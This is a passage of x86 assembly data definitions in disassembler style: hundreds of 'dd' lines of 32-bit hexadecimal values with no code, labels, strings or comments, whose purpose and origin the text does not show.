		dd 40F37675h, 516132EAh, 616A283Ah, 625BD3Ah, 0D64EF26Fh
		dd 0F5022F6Bh, 89518CAFh, 8138445Dh, 8825C19Ch,	0B2E2E62Bh
		dd 78983318h, 0F74B023Fh, 0E79B45C5h, 0F01EB3C0h, 0C919CA3Fh
		dd 0CDA45521h, 5018B32Dh, 2C29C220h, 0BF5D6EB5h, 220489F0h
		dd 61F48AFAh, 81C004BCh, 0DDB010CFh, 0D1902EE1h, 0B02BB50h
		dd 5B3C0E16h, 597A5456h, 86921F76h, 3A19D718h, 0EBDC600Bh
		dd 0AFD6741Ah, 5E27AD56h, 2501FC75h, 80878C65h,	0F83F5ED3h
		dd 8BCFC338h, 164D82BBh, 0B32EE1A4h, 682D68D5h,	0E55096EBh
		dd 356B4C49h, 5D650470h, 5FDBBF02h, 0FBC018C8h,	295F6D05h
		dd 2C39F555h, 0C4A516F2h, 9C6BAA92h, 0D1001923h, 1CB53C22h
		dd 0AD897A2h, 0C65C26h,	0CE32B92h, 0C24F368Bh, 0B14C8860h
		dd 942B13CAh, 2829B0DEh, 5D056EB5h, 370481C6h, 0AC726F17h
		dd 9FE9F4EEh, 14007AA8h, 0D705E53Dh, 160752FCh,	0AC20E9E2h
		dd 606E4B04h, 19370A00h, 0EF63D148h, 0EB812301h, 6F9BE635h
		dd 3D06B86Eh, 8BC7BFC1h, 7F4F91D2h, 1D9504B5h, 36DD80DDh
		dd 511E190h, 0EAAA3B07h, 0DFE100BAh, 0F51E86Eh,	40E33FEDh
		dd 0BF505B01h, 0FA2F9E46h, 0CDBFAC50h, 0F4ABE09Bh, 47164EA5h
		dd 12FFB577h, 1392B93Ah, 6FAA6A5Fh, 84AB0177h, 0DF0DE830h
		dd 0D49DEE70h, 31131248h, 1D502021h, 2AED0C19h,	132BF98Dh
		dd 0E07BA64Dh, 31EE4BCh, 25B07523h, 0D225ABC0h,	583EA9F8h
		dd 65B7259Ah, 817BB77Dh, 6B79A2FFh, 0CFD2407Ah,	1597C03Bh
		dd 0D3E4121h, 50DFF065h, 0D7AE481Dh, 0B0D4BB41h, 0E93B1B75h
		dd 0E114A8D5h, 3F2D11C2h, 42DF21F0h, 2DA1CD03h,	8147852Ah
		dd 42D110Eh, 56778CAFh,	90615912h, 0F4DFC8AAh, 15F75001h
		dd 0A8BC46E7h, 0DC51DEh, 48294E6Fh, 131664C1h, 440047B1h
		dd 0C4405A63h, 0A32709CEh, 815F4182h, 905F466Ch, 0A1B89129h
		dd 0BD05224Fh, 8BE71519h, 2912FC48h, 0D622E233h, 9B05176Bh
		dd 0FF3AE8C7h, 5510FE2h, 0E9A5A8F7h, 2C2EF5D3h,	1941272Ch
		dd 8D096B63h, 2383A022h, 4407E99Ch, 5B568AE7h, 0EE5BB878h
		dd 0C592B03h, 96B39809h, 0C0F6B771h, 7D95AED4h,	0F8B625DBh
		dd 0D7D62E7Dh, 4AA230FFh, 9E3CA282h, 399289E7h,	495B58E2h
		dd 5704A65Fh, 0C4EFB360h, 2FB6BF47h, 6005E197h,	54A994Ch
		dd 3CB3D1DCh, 0BCCE6A1Fh, 0A2185BBh, 0F54BA7E9h, 0BE10415Eh
		dd 0A7612BB4h, 63890135h, 5956D8B7h, 70E4AFh, 8E885F5h
		dd 0E789A0BFh, 0A55B0A24h, 30B9B100h, 9FC75F7h,	71E4EDC8h
		dd 0BC40DCF4h, 0E2820Ah, 8E3D5F85h, 0C1D82A26h,	0EF809404h
		dd 0A6AD5B57h, 1CB3F522h, 7C9D290Bh, 0B044A51Dh, 0CC62DA43h
		dd 23C05630h, 8B9525B7h, 4FC475A8h, 0F32EBB7Dh,	0F420D3D8h
		dd 50C92AE1h, 9F919F8h,	0C82B2649h, 0FB2BCCFDh,	0D164AB57h
		dd 1D9EF2EEh, 0B381D781h, 99E965DEh, 0D59D1940h, 6A858921h
		dd 91BF3284h, 2BB35A13h, 0D61CB21h, 438A300Dh, 175D7B12h
		dd 880DBCB4h, 0E92DFE8Bh, 0E4E94467h, 13F99705h, 52401044h
		dd 0CA55E1ECh, 97E51700h, 2DFAEDB7h, 7F8316B5h,	26C1889Ch
		dd 52090672h, 7F542239h, 30488364h, 0ED9C4F4h, 0E8A1E2ACh
		dd 0B94A100Ah, 0A749079Bh, 6430ED25h, 5F219376h, 283AE42h
		dd 0EDDDC7BBh, 0C2E45653h, 4C089CA5h, 5A703580h, 0B2D0B85Fh
		dd 78019B30h, 0D927AB5Fh, 0E090576Fh, 0BA4FC780h, 0DA824DFDh
		dd 0E4D86DB9h, 0F084BB04h, 0D4AC09D3h, 62EC9671h, 5953C02Bh
		dd 4358DD72h, 7871E5Bh,	2839F029h, 27B3D22Bh, 1AFE048Dh
		dd 0C0F2AE55h, 283321FFh, 884E8076h, 8C875DF8h,	4E207F05h
		dd 8A1FBDECh, 665BFE18h, 5BEF8199h, 4A4CF8B4h, 0CC0CCBDh
		dd 0FFA3929Bh, 4B4D8D12h, 1731E5CCh, 0FA103D85h, 0E63E372Dh
		dd 5C64B07Fh, 0E8DA5F8Ah
		dd 9D7B837h, 4E067B7Eh,	9005355h, 1C7F18F5h, 233F4495h
		dd 2B4725FAh, 4DFBBF02h, 0DB5F5131h, 2653521Eh,	37F4ED00h
		dd 23260D3h, 0BD09E1FFh, 1CD52251h, 5ED1699Dh, 0C1006D5Dh
		dd 2B7DB994h, 0D3C1A928h, 986FEB48h, 0F389672Dh, 5F46BC51h
		dd 0CEB72E4Bh, 0D98C0B48h, 1DC507Ch, 0FA94E743h, 7BBFC8EEh
		dd 2674CFE3h, 2635F6h, 0B9D2D8D5h, 0E63AAD53h, 74CE0404h
		dd 0B6ACD00Fh, 12B0F526h, 0C3CCBB51h, 0CCFD8A34h, 0CE99D7h
		dd 5B73FD3h, 9E7BECE1h,	0CBBD0B5Fh, 0B57AFA4Ah,	4A64624h
		dd 0ACF41EF3h, 17C4A46Ch, 3CFBAEC4h, 0F913B7BBh, 56B35061h
		dd 92F76627h, 0CD66ACh,	3EB2F386h, 1EF29B2Ch, 0EA57E100h
		dd 5FC80E45h, 5C5D0406h, 0FB8B15D2h, 77F7A8Ch, 2D41628Fh
		dd 1F96B00Ah, 383AD5ACh, 17B809D4h, 160913C3h, 0AB58F878h
		dd 0A82F316Eh, 2009A311h, 0F39F32C8h, 0C31779ABh, 0E1BA2584h
		dd 4BE02EF2h, 50538131h, 1B7B1E71h, 63D6ED00h, 1F3AB5CAh
		dd 195102E0h, 0E842992h, 4FAB1AD5h, 0C6F34055h,	6F49E9E7h
		dd 0D3B31232h, 6F4F83B2h, 0A67024D7h, 0A1D20B3Fh, 19A5051Eh
		dd 61615992h, 0D3DD958h, 25E92576h, 6682435Bh, 56BE86BFh
		dd 0F98A628Eh, 6BCAD177h, 25D44E7Ch, 0BAFE8740h, 131909E3h
		dd 0A604460Dh, 20E458A4h, 8F5AB718h, 0D1B56012h, 43CD88h
		dd 6892DE0Eh, 1C77B88Ch, 617EE40Bh, 0D7379896h,	70FA9Ch
		dd 0FE50452Ch, 0BD290868h, 4BD53D5Bh, 0A533F6AEh, 40804BB9h
		dd 30216A68h, 0E45C0F0Fh, 1D0101BEh, 8AE462EBh,	0F9578A08h
		dd 0D88B09CFh, 0FE120A56h, 2B62F80Fh, 1C467FF9h, 38E7E748h
		dd 0BA2A4588h, 4D00AC7Ah, 0F5BBC520h, 3F480805h, 0C39E92A6h
		dd 5BF3E581h, 7D7870C2h, 4860215Bh, 9C98064h, 0F56153FFh
		dd 0BB6A0359h, 0B0019963h, 0EA64C27h, 187A0FBEh, 0FA5A1DE0h
		dd 0BA4E9B74h, 0DB9C88h, 0C0F71507h, 0FDBB11CDh, 4DA6BD13h
		dd 33B61AFCh, 41E9F817h, 61B0B9B7h, 0E54B9BD5h,	0A52558ACh
		dd 0ED5DA70Bh, 0C45FF42Eh, 0A0AABD25h, 9D60A846h, 0B17D99C0h
		dd 983202BFh, 525B74ACh, 0B800BCC6h, 0BC58686Eh, 0A2977Ah
		dd 0D15B7821h, 0B767D38Ch, 0FC963D27h, 0D2E65902h, 0BEF3DDDh
		dd 0F5845E4Dh, 35048BDFh, 9BBA4CB9h, 66AC06Bh, 5CF2C72h
		dd 0CD95296Eh, 0C087ED1Eh, 0BC1854BFh, 0E2159546h, 9923940h
		dd 0DE6B5897h, 0EAD3B584h, 0A5C046DEh, 6DD8C67Ah, 7564742Dh
		dd 0EDFDBF12h, 211565D1h, 3FB3F857h, 0C29859C3h, 0F8F9DF50h
		dd 0F2C6582Dh, 281100C8h, 26DF8A2Ah, 502D029h, 4217614h
		dd 0D56694h, 0ACC6D6F6h, 54464F12h, 5C175025h, 897F69ECh
		dd 0F3990986h, 0C59C70E9h, 0B58324Ch, 12302DBDh, 5B227786h
		dd 0EBA9F6B7h, 0F6F75Eh, 12D58E2Ah, 0FD9D293Eh,	0FC712AE7h
		dd 0EB4D21B3h, 0D63F9B7Bh, 68A3CDFAh, 895C1284h, 0A27FFBA1h
		dd 85318F1Ah, 6FAA1B65h, 11A231Bh, 1C9B6688h, 2A3BE1A8h
		dd 0C784A918h, 85894A0Eh, 9FE9DB85h, 0F838E940h, 51B2E0EAh
		dd 5661D11Dh, 3AE6213Ah, 0AD342A7Ch, 5F32E2EAh,	0BB66AB30h
		dd 6A03203Dh, 65BF3890h, 0D78100B6h, 2370F7E0h,	1FB6D3BFh
		dd 20A90BDh, 0EFEDBB50h, 0A7A85494h, 0B1D69E10h, 667AC0Eh
		dd 5851A095h, 0B37165Fh, 1BFBC055h, 0DCB59ED0h,	0CB815007h
		dd 2D2D50EEh, 0D6CCF432h, 9EC3179Ch, 0F15091F5h, 88C2F205h
		dd 85098326h, 0D94C0D5Dh, 0CAEBD2C1h, 7FB05E4Ch, 6BE67B6Eh
		dd 845DFB4Dh, 9BBF03C3h, 0C019C84Fh, 9286BCA4h,	0D8E2A02Fh
		dd 0A4DC9774h, 8ABFF865h, 733BA039h, 98DEB583h,	771B5DD4h
		dd 1E3DEF80h, 0A917ECDAh, 549A27Fh, 0C4EB5132h,	0EC87B961h
		dd 6F0E0922h, 12F78937h, 5573579Eh, 85581551h, 0B7A17488h
		dd 6DC2687Ch, 0C65F021Eh, 18B1647Ch, 0B33F2259h, 0D952C920h
		dd 0A0F52F78h, 0D94891E9h, 5ACB01DEh, 0E95F9E58h, 5012BCFh
		dd 345BD31h, 8D81CC3Fh,	0E3E80F5Fh, 7AED5AAEh, 0AA3E8801h
		dd 4290A19Fh, 0F42904C3h, 0AD002D86h, 908DE9BFh, 0C56FCD95h
		dd 1FE5FB87h, 5DE8CD7Dh, 0BB9ECE00h, 0B7BF75A0h, 2FB38185h
		dd 2733E880h, 0A0064F0Ch, 32F054Ah, 53EBD2BDh, 0A84BBD50h
		dd 0A001CFA2h, 4440DABAh, 489259Ch, 2F2377Dh, 60767591h
		dd 5F00B951h, 0C83F7E6Fh, 30010156h, 6B78D1AFh,	8EAD2E6Ah
		dd 0CD0072B8h, 3250C9BBh, 2FF3CFBFh, 97F5B69h, 8088B72Eh
		dd 0AC21CED6h, 62018077h, 96ECD2BBh, 0B63FF537h, 0E1574E0Bh
		dd 0CC8112BCh, 7E0A329Dh, 2B194582h, 35B5F8EEh,	81DE274Bh
		dd 0E09CB68Fh, 8D8589B4h, 9DA8BE18h, 0C1FFD735h, 7F116D14h
		dd 0B6A43EB2h, 0F3F3B54Dh, 6A574D04h, 0C0A5DB02h, 90052E87h
		dd 0A7D701BBh, 0B7501DFCh, 0A0BD6B32h, 0BC25B0B8h, 0C65192h
		dd 0A9DA9DE4h, 0E2B7222Dh, 0F7695736h, 0DB27A5Bh, 6287F0A9h
		dd 0CEB0C94Ah, 0E9084049h, 5DEC3A5Bh, 0C3483DE2h, 0FCE4F88Ah
		dd 0A8E6BB04h, 6BAA072Bh, 1C2333h, 6B0741FCh, 3D1727F8h
		dd 62127186h, 37975EACh, 7E3250A3h, 0BE012B04h,	0E165B8BAh
		dd 4170584Ch, 0FE0502F2h, 50613ACBh, 6F402DDCh,	0C2BAA8h
		dd 0FCEB6D19h, 2E8EB5E6h, 74BD4E7Bh, 370BDC3Ch,	758528E2h
		dd 0FD60E98Bh, 0B195D4B7h, 827F563Dh, 5B040374h, 0C5D728FFh
		dd 0E1921F42h, 75DCE60Bh, 0E59107DCh, 3878261h,	0EA81D883h
		dd 14C02EB3h, 0B830CED7h, 20392523h, 1F4D8F6h, 0F155FE07h
		dd 2F9B6A7Ah, 9FF24AB0h, 9EBFE5C6h, 0CCD901B0h,	0F2989D42h
		dd 8A827A8Dh, 0BF3F586Dh, 50A24E9Ch, 0B046A77Dh, 81EC7709h
		dd 0F90C6D2Fh, 153D8844h, 2C3F42Dh, 7BA7F4C8h, 8728CD11h
		dd 8A54C29Ah, 6BAC5625h, 0F06B44FCh, 0DC134133h, 0E2BF61F9h
		dd 84CD793Dh, 52B59D31h, 132A9EA1h, 0DD19308Dh,	0CA0086A4h
		dd 0CF8E44FAh, 3098E090h, 9D7A2BDFh, 93950B09h,	0A349C293h
		dd 4A76E988h, 3F90F143h, 7FF96587h, 109519E4h, 86154589h
		dd 6E891097h, 0EF28077Ch, 0C4A8541Eh, 0D774FF44h, 1ABDF581h
		dd 9075F902h, 72FA8AA6h, 574C958Bh, 0BF9D78B7h,	22431BCCh
		dd 3198568Ch, 345F1140h, 5D6CB8B7h, 1F518964h, 208194FDh
		dd 0A997AB12h, 81723790h, 835B1220h, 94DA3F85h,	0E6C41DC8h
		dd 0FB4AC980h, 93F50245h, 0DCB97F86h, 455B647Fh, 1F932FD9h
		dd 0ABDBB563h, 3FC8BFD7h, 0B78CA4B8h, 7BA141E0h, 67AC015Fh
		dd 0D22B6182h, 18746F5Fh, 0DFBFA8B3h, 645B5625h, 1DE6804Bh
		dd 0EC829C03h, 931DFC2h, 117D2292h, 6E49762Bh, 802B1595h
		dd 0EB8412BFh, 0EF5ABB65h, 2F2313E0h, 7AF0D59Dh, 0DA79D697h
		dd 6E604C4Dh, 15A62ED6h, 9E2B41B8h, 0E8DCBD4Bh,	3DFF58B5h
		dd 0C08D98C7h, 0A2B796B1h, 71168100h, 0BBB6990Bh, 3B190B58h
		dd 64DF7A74h, 7B1A95ADh, 670320D1h, 0D8D74660h,	0F8A85651h
		dd 86A74886h, 921AF113h, 98D3E18Dh, 0B5221B70h,	8B25E0D8h
		dd 1E8D65FEh, 626F2511h, 8BAC2F44h, 534D03A3h, 9C5BCA4h
		dd 50D06C65h, 6916B02h,	53E85F04h, 1C968A4Ah, 0FD250496h
		dd 2E000437h, 0E0598472h, 78D3BB60h, 0E54FC691h, 128B7AEFh
		dd 0D9ACC62Dh, 67F62725h, 12658584h, 0C2016661h, 0DA78295Bh
		dd 9A2C1FCFh, 35F7E52Bh, 0D21C156Eh, 9776F296h,	0D7301CE8h
		dd 8061F206h, 6BFA20D3h, 5C615B15h, 287142EAh, 1EA98901h
		dd 56E68005h, 0A39D5B53h, 0FABF66F5h, 4C69E895h, 8229736h
		dd 680328B9h, 0A07BB8D8h
		dd 805A5FB3h, 0A3662744h, 0D3DB5F5Fh, 62E11186h, 0F9D452EFh
		dd 46D616FCh, 87F25F18h, 62D55A69h, 4F73DFCFh, 0B9E451F8h
		dd 147FA73Fh, 0DE3709DCh, 0BF5056E9h, 2DC8094h,	60A44896h
		dd 49E2EF8Ah, 6156A457h, 0BDC361EAh, 0C2226B99h, 99537FD7h
		dd 7DDAD7D2h, 31D51895h, 2E4D258Dh, 29E742F6h, 0C4AB75C9h
		dd 0CDEB6EFCh, 0E07D4B7Dh, 9F9DAD89h, 0B6D01442h, 0F60BB927h
		dd 359D5012h, 75190869h, 0EC5424CAh, 0C778C32Bh, 1F0A0013h
		dd 0ED0D36F0h, 0BD2A2B48h, 0F99DAEF5h, 0B9AB83D5h, 0AED8DE5Ah
		dd 0B1020A45h, 0D0077038h, 0FF8B8B73h, 7E503CE1h, 0AA8588h
		dd 1571E30h, 0ADC83C27h, 0DFFD7D01h, 965B35F3h,	15D6E2Fh
		dd 55E58D87h, 0F33AD6F6h, 12774C95h, 57A908E1h,	98C17BCh
		dd 0E9CCEE76h, 0C5929EF5h, 0AF266D7Ah, 858DC2A3h, 60B64213h
		dd 0F3926963h, 3D307AD7h, 0FDF05F52h, 0D9BCB43Fh, 83795F82h
		dd 57B109B9h, 55CE1261h, 537A5FC4h, 0D01BE000h,	0D28372A7h
		dd 9B585F62h, 2BE48016h, 766975Eh, 821518F8h, 0F2BB6133h
		dd 56BD6BCCh, 8303CEFCh, 0FA8A508Eh, 0B6BEFC89h, 3071E74Eh
		dd 6B2EE965h, 0C1523ABh, 6EE0A5F9h, 55A81C4Ah, 85B79B4Bh
		dd 1780A5D0h, 4F9F42E2h, 0B1C98871h, 0F057B701h, 300A3A7Eh
		dd 10CDCF7Fh, 4CF22B9Dh, 0A057003Fh, 0BCC7DFF1h, 57CADB2Fh
		dd 0B755190Bh, 0F418035h, 86C660E7h, 2E16F416h,	0EC92DABBh
		dd 16889314h, 1F15EA79h, 4C36BC0Bh, 0A516D64Ah,	0E24DA80Dh
		dd 0C6FD297Ch, 5D9D12CAh, 63073C13h, 0DDF933CBh, 15E10A4Fh
		dd 302E7E12h, 0FDB509A3h, 0BBC6BEDh, 0D7A900ABh, 54B357B0h
		dd 0D381022Fh, 8BD93F3h, 5CEB865Ch, 4E01D453h, 870A0B2Ch
		dd 0D3424558h, 413057FAh, 602F4C56h, 4EB95401h,	0D3C5BFE0h
		dd 0BE00533Fh, 49A4A05h, 2F239661h, 42D9DDBDh, 0CD616045h
		dd 29F1958Bh, 19C68000h, 0FCF56125h, 1C46D662h,	0C6AAFF00h
		dd 1D7E5D08h, 81FE6B0Fh, 39B42EBh, 60C4B123h, 83002D33h
		dd 4893B75Dh, 0F759F81Bh, 0F595C24Ah, 1265FF14h, 0A74425h
		dd 671577A7h, 0B0975819h, 0A428D8E4h, 732F92D3h, 2D785865h
		dd 3E619614h, 71172EFEh, 0BBB561B7h, 4F09D4E3h,	0EC7D0539h
		dd 8EB57551h, 2D0C3597h, 5299A4FFh, 2155A881h, 0BF0BFD2Dh
		dd 0E85DE09Ch, 465BDB1Dh, 8D9CE4CDh, 0A7430075h, 85916D0Fh
		dd 0B7BC950Ch, 0F2CEAE42h, 85E4C52Eh, 24F6AE1Eh, 72B271E5h
		dd 0D086E4FEh, 0EC893831h, 0C60432A9h, 4AAD54B3h, 0F8D8CBE0h
		dd 0DDF6050Ah, 0F6D881Dh, 0AF334A9Dh, 0E33F0589h, 0C16E8097h
		dd 0F888D2h, 0BB9086DAh, 3AE536E8h, 2485DBB7h, 4B02103Ch
		dd 343A81EFh, 0F2A63E24h, 0B4545AF0h, 0CC046571h, 12B98589h
		dd 612AF12h, 14B26EB6h,	50B74F30h, 8A95B196h, 0D3EB255Ch
		dd 0D6F450E4h, 0FC60642Eh, 0B9F3BB03h, 6183BF5Eh, 0A2FB94F8h
		dd 403A00FEh, 957F52E4h, 0FEB74AE0h, 282E97DDh,	5B973C44h
		dd 26820ECh, 76C568D1h,	0F3D50A30h, 5A7149B9h, 0A6EDEB80h
		dd 581687Dh, 2CEF99Ch, 9BE4BA30h, 5EDFAA1Bh, 0A5CA2CF2h
		dd 8305BFF7h, 0E290C79h, 9D234EE8h, 5B22D925h, 181C7952h
		dd 0F9AD002Ch, 1CEF6DDh, 0F89FBB78h, 5D3256B0h,	0B82EA541h
		dd 0DA8BA198h, 0EF75752Fh, 0BF5ACB6Ah, 0BD72FB37h, 5F9E551Dh
		dd 9F015844h, 555CD562h, 0F28A0FE2h, 4A639F96h,	6EDCAF84h
		dd 0C370087h, 7C2E4C2Fh, 5E00C668h, 0B2420B04h,	1CE29EB7h
		dd 5F583849h, 123DAD61h, 16A50C01h, 0BC2F7F3Dh,	0EEFB5D3h
		dd 0FB77E96Eh, 0C1C95D24h, 6E3AC1D9h, 68FB071Ch, 0CF10E65Fh
		dd 9829BBF8h, 7D035956h, 73B7CED6h, 0CB2EB509h,	132C740Ah
		dd 31790058h, 0A3C0814Dh, 0A4986F5Ah, 0F79F0050h, 4CCCE34Ah
		dd 271C9755h, 0D38078E2h, 3389C5FDh, 0F960BFD2h, 59091509h
		dd 8310348Bh, 0C0F68175h, 3741E347h, 5010CE8Ah,	2B0277E5h
		dd 7DAD9D5Ah, 86FA1864h, 0F10386BCh, 30BEE28h, 0B74A0089h
		dd 0D5CF8074h, 161EA83h, 4A5B5DB0h, 30A902A0h, 0FA491E69h
		dd 0B5A290E4h, 7CB793C1h, 1C584B8h, 0E9045803h,	3851280h
		dd 0EA800798h, 1000208Dh, 26139B60h, 0E66108EEh, 678300FDh
		dd 0E402DFACh, 0F1368D54h, 903840D7h, 0CA2B7461h, 30C0A11h
		dd 0C7CCC25Ch, 1DF15800h, 0AF366862h, 8BE6185Eh, 0B3ED29F0h
		dd 0E132B900h, 0B23468D4h, 8019C641h, 0C47899E3h, 0E730F260h
		dd 716FB3Bh, 60CC69F1h,	0A827768Bh, 0D544E100h,	0EF545501h
		dd 9777787h, 8FE409FAh,	916BB480h, 0E50C1CCCh, 0B1F6EC02h
		dd 8B20C85h, 5C20DFEAh,	5EE11741h, 5C7C8DE8h, 0EF065E13h
		dd 0D9016D6Ah, 0CA0C53B0h, 11FAEDE6h, 0AE8501B8h, 4B8FF920h
		dd 8C1447B4h, 0DA015D08h, 548721CEh, 50B2D13Bh,	2F23CDE1h
		dd 0D938Bh, 3B6CA5C8h, 16D078A9h, 97BBB18h, 0F816F18h
		dd 2E87ED1h, 488DE83h, 186B083Eh, 62B80568h, 896F07DDh
		dd 81EE3972h, 50E480E6h, 0D6F263B4h, 3C2B4A01h,	1E3B8360h
		dd 0B94858B0h, 29C0E1E6h, 562A5CC2h, 0CD400C6Bh, 0F809630Ah
		dd 54A221C0h, 62702Ah, 668CA567h, 3DB9E6EDh, 136CC30Ch
		dd 6022E0F2h, 0E264308Bh, 0D540155h, 0BB0A2EB8h, 9887B0C7h
		dd 0A68FED06h, 21146208h, 4A01B34Fh, 0C2C88DC5h, 0B58CA25h
		dd 8E2459Ch, 0BDC0532Ch, 4687B6C7h, 17229Eh, 3AC7B549h
		dd 0F258D6F8h, 0B11D920Eh, 59C74B8h, 1CBB9B16h,	0C4638800h
		dd 139AB66h, 1D0E8343h,	50038091h, 0F009CEB0h, 59305800h
		dd 0DB9371ABh, 57DF1D45h, 0CF8D4379h, 0A5C83118h, 28E2D266h
		dd 0A96D3800h, 95A4519Fh, 0F3BE00FFh, 0FA3C29A2h, 8B016B3Bh
		dd 0A6EAEB48h, 5FE0D71Ch, 31EF0EB3h, 6780DA7Dh,	0A48DF955h
		dd 9350F701h, 0A3585943h, 21C20898h, 0A412B59Fh, 8C0FCD1Fh
		dd 64516304h, 47CE90A2h, 78DF305Ch, 61E4D0F2h, 7D36E0A0h
		dd 679918C0h, 0C0E031EBh, 3DCFD948h, 66038398h,	6EDD3933h
		dd 0C8083023h, 9835A121h, 0D51D177Eh, 11C03FE4h, 7A621E58h
		dd 0E5DE0025h, 0EFD9FAAFh, 8C02A8Fh, 0B3AF367h,	2360FB4Dh
		dd 582F0076h, 0D034FEE1h, 899866E9h, 4FE68501h,	0F33FD733h
		dd 8A050B8h, 0ECEF79C0h, 7F93CB6h, 4AF05F60h, 98204C8Eh
		dd 0F87C30EAh, 0C3649CA7h, 11EA3860h, 85CDE12Eh, 524DEC00h
		dd 28AE9834h, 462CF780h, 0A4B60236h, 31BB50F2h,	0BE9810CEh
		dd 0BF0B00A4h, 0C58F0EDAh, 9A28E266h, 0C303C0C4h, 0C2F2ECD9h
		dd 0A01000D4h, 10931819h, 6A00D5BCh, 0BDCD426Eh, 0D7DB1Fh
		dd 0D8B6DF48h, 8E44114Ah, 2CBAE100h, 2BA10463h,	0CE1016A0h
		dd 0D47F0072h, 71B76F2Ah, 7B273200h, 4DC42366h,	80A40004h
		dd 93CB85AAh, 68019A39h, 989B1ED5h, 0FBF41AEAh,	0EC6300D2h
		dd 9A0EE2D1h, 0E73887C1h, 973C00C8h, 8F3F011Ah,	4D7000CBh
		dd 8C43FD0Eh, 0DC1CF4FBh, 0AF43C444h, 0F002D409h, 14B8AAh
		dd 1E81A806h, 1FA28E12h, 0CDCC4203h, 0A31C7354h, 0A4F3C16Bh
		dd 0E09384D0h, 12450070h, 0B36E139Eh, 0BD0CEE1Ah, 18745443h
		dd 7AEC0740h, 0C36DC78Ch, 0BC0442Ch, 0C1F0CAE6h, 5EF85B18h
		dd 377ACD28h, 2061E7C7h, 0E87B2348h, 0CF3BCB0Fh, 4E20A093h
		dd 606A9D12h, 447202D7h, 30C39A37h, 216CA71Ch, 0F407F728h
		dd 7730F6C7h, 1932AC44h, 78E70BFCh, 0EF6D6049h,	1CD17B68h
		dd 1970CC6Eh, 0C0AC6E02h, 6DC1C783h, 214298FEh,	6C63BD0Fh
		dd 0AF4EC058h, 5C21A1E5h
		dd 9810AF51h, 9AEEAEF6h, 69143902h, 0E37173B0h,	20B69Ah
		dd 9C052BCDh, 934D6BF2h, 0BD6A3800h, 0C9B0FE1Dh, 90C5189Bh
		dd 2E71B168h, 0C2424700h, 0B2F6FD36h, 1F9D74AAh, 0F176A180h
		dd 81419051h, 8331B531h, 0C2F0BCEEh, 1DB600F2h,	11196A32h
		dd 0D4E40305h, 78ABC637h, 0A8468178h, 0C092A61Ch, 0C9505E8Bh
		dd 0E5445BA0h, 1FF41440h, 0FA0098C6h, 0DA4DFEC3h, 0A80002C9h
		dd 72FC1EABh, 34E5492h,	0C2D746B2h, 7905B0ECh, 219043CFh
		dd 8F3E2408h, 5D5F2D69h, 93054E47h, 0CF76C1D9h,	38E3B3F3h
		dd 95C852EBh, 0AB24A9FCh, 5D8024E0h, 3EC9BCDCh,	0AC1300F9h
		dd 52B3E42Ah, 0EC07B66Ch, 82E73D9Ch, 0A444BDE0h, 101248CBh
		dd 0E55C305h, 46980103h, 80C817FCh, 445C6918h, 0C7EF4BF4h
		dd 0C0F8C910h, 0E583F7F0h, 269FECA0h, 781B3F03h, 4F909Dh
		dd 31A915A9h, 68BE892Dh, 0A5B9D703h, 1FB419h, 72118D30h
		dd 7FFF0F7h, 0E49E360h,	1F52F4C4h, 0D8CF6EE8h, 0D19718DFh
		dd 9F00B7E8h, 9542EA3Bh, 5AAEEDEh, 9A634C10h, 0D8A41075h
		dd 73248877h, 2D3EFCA8h, 0D5F07DE4h, 515BBC00h,	0D06C8EC6h
		dd 0A83307BEh, 409D9C99h, 0F79B4C4h, 13160B0Fh,	18B8A31Fh
		dd 62083064h, 0B775C21h, 67D54500h, 9788863Dh, 1FC300ACh
		dd 9FBFD3E2h, 92035123h, 9DCEA162h, 9B393F9Eh, 0C0B6AB9Fh
		dd 673E0FA2h, 0BE1ACFB8h, 17201E71h, 806F1144h,	4D24FF58h
		dd 44E331F6h, 2026DE50h, 0A660914Dh, 72A89928h,	802A18B5h
		dd 13A411CBh, 4D0CDD07h, 45737C11h, 0D8083079h,	0DD0B8B21h
		dd 0C0FC3E0Fh, 0A2390388h, 22D00395h, 0B8EC7B98h, 54C42801h
		dd 3D9DE523h, 31C844D4h, 50085C35h, 75208098h, 2ECAE52Bh
		dd 7975E1h, 5E80BF1Ch, 0DC72EFB4h, 220198A8h, 0A9306850h
		dd 97605978h, 9CD8C310h, 6E2F8h, 8C966118h, 12EE57B7h
		dd 282E0B00h, 0C8BD8BE1h, 3B8D03FDh, 0E06786EFh, 22265DD0h
		dd 0F0BCEC50h, 1B170BFh, 0D9349C31h, 0D878986Fh, 0AE002CDFh
		dd 3FE04A06h, 4C3B4F46h, 0FE0E12EEh, 7B60FDBFh,	32D95918h
		dd 0B292CB00h, 6643005h, 5189008Dh, 9B397F2Fh, 2D7C5F18h
		dd 25423500h, 0DC97F1ACh, 116A0202h, 8B29F0F4h,	7376F8C0h
		dd 0CCC6DF00h, 2F196D90h, 1160012h, 0A91FF79Dh,	0DB63FCA1h
		dd 0A962FD08h, 38806C6Ah, 4F36245Dh, 0C8038D31h, 0A27A5D8h
		dd 68103F96h, 6E162C87h, 0E7924088h, 4E00891Bh,	0F0586CC0h
		dd 183298EAh, 365DED8Bh, 0B80015DFh, 89185FDCh,	3FD16894h
		dd 10E116C6h, 0F4D8FB23h, 37E07610h, 5E1350C7h,	1A80AD3h
		dd 747FE548h, 0D0FEA7F0h, 680034B7h, 83A13A90h,	0CFAD6B8h
		dd 0E70C29E4h, 3F3BF279h, 963B7B5Bh, 18E087ADh,	78632277h
		dd 0B906F1ABh, 0C46AC883h, 28009343h, 913D0813h, 143C85B4h
		dd 8499B7AEh, 0EC5B3200h, 0A6163D9h, 0E91B060h,	0B1A19Eh
		dd 90CEDDD1h, 7C9A12B6h, 1FA5FE0Eh, 826038AAh, 8A1000F3h
		dd 0C7069E3Ch, 5F005617h, 0F492F93Ah, 159F08h, 0CA940BB7h
		dd 68D57D1Ah, 0FF00617Dh, 5DD8F3AAh, 0F285A8h, 4DC80E09h
		dd 0F42916DFh, 866D633h, 1B21000Fh, 43E5C871h, 591D3010h
		dd 50C07CA5h, 0B1F80390h, 669D00F6h, 0ADA829F2h, 280032E6h
		dd 2D71A95Eh, 3D65105h,	0DF50B28Eh, 91B77639h, 80847DA6h
		dd 44788530h, 42BB764h,	5426219Bh, 41E78335h, 0FDB00388h
		dd 0D916FCF9h, 82910460h, 0EBA15687h, 0FFF8A70h, 47F45D18h
		dd 1C497AC0h, 0E41D955Eh, 84FADB3Bh, 12A05BF5h,	85025A80h
		dd 0A47E3747h, 0EA488048h, 3D03F337h, 2B5A94C1h, 4F083349h
		dd 37986721h, 4B00ED22h, 0D39816D4h, 3C9CBA1h, 0BA3F05E6h
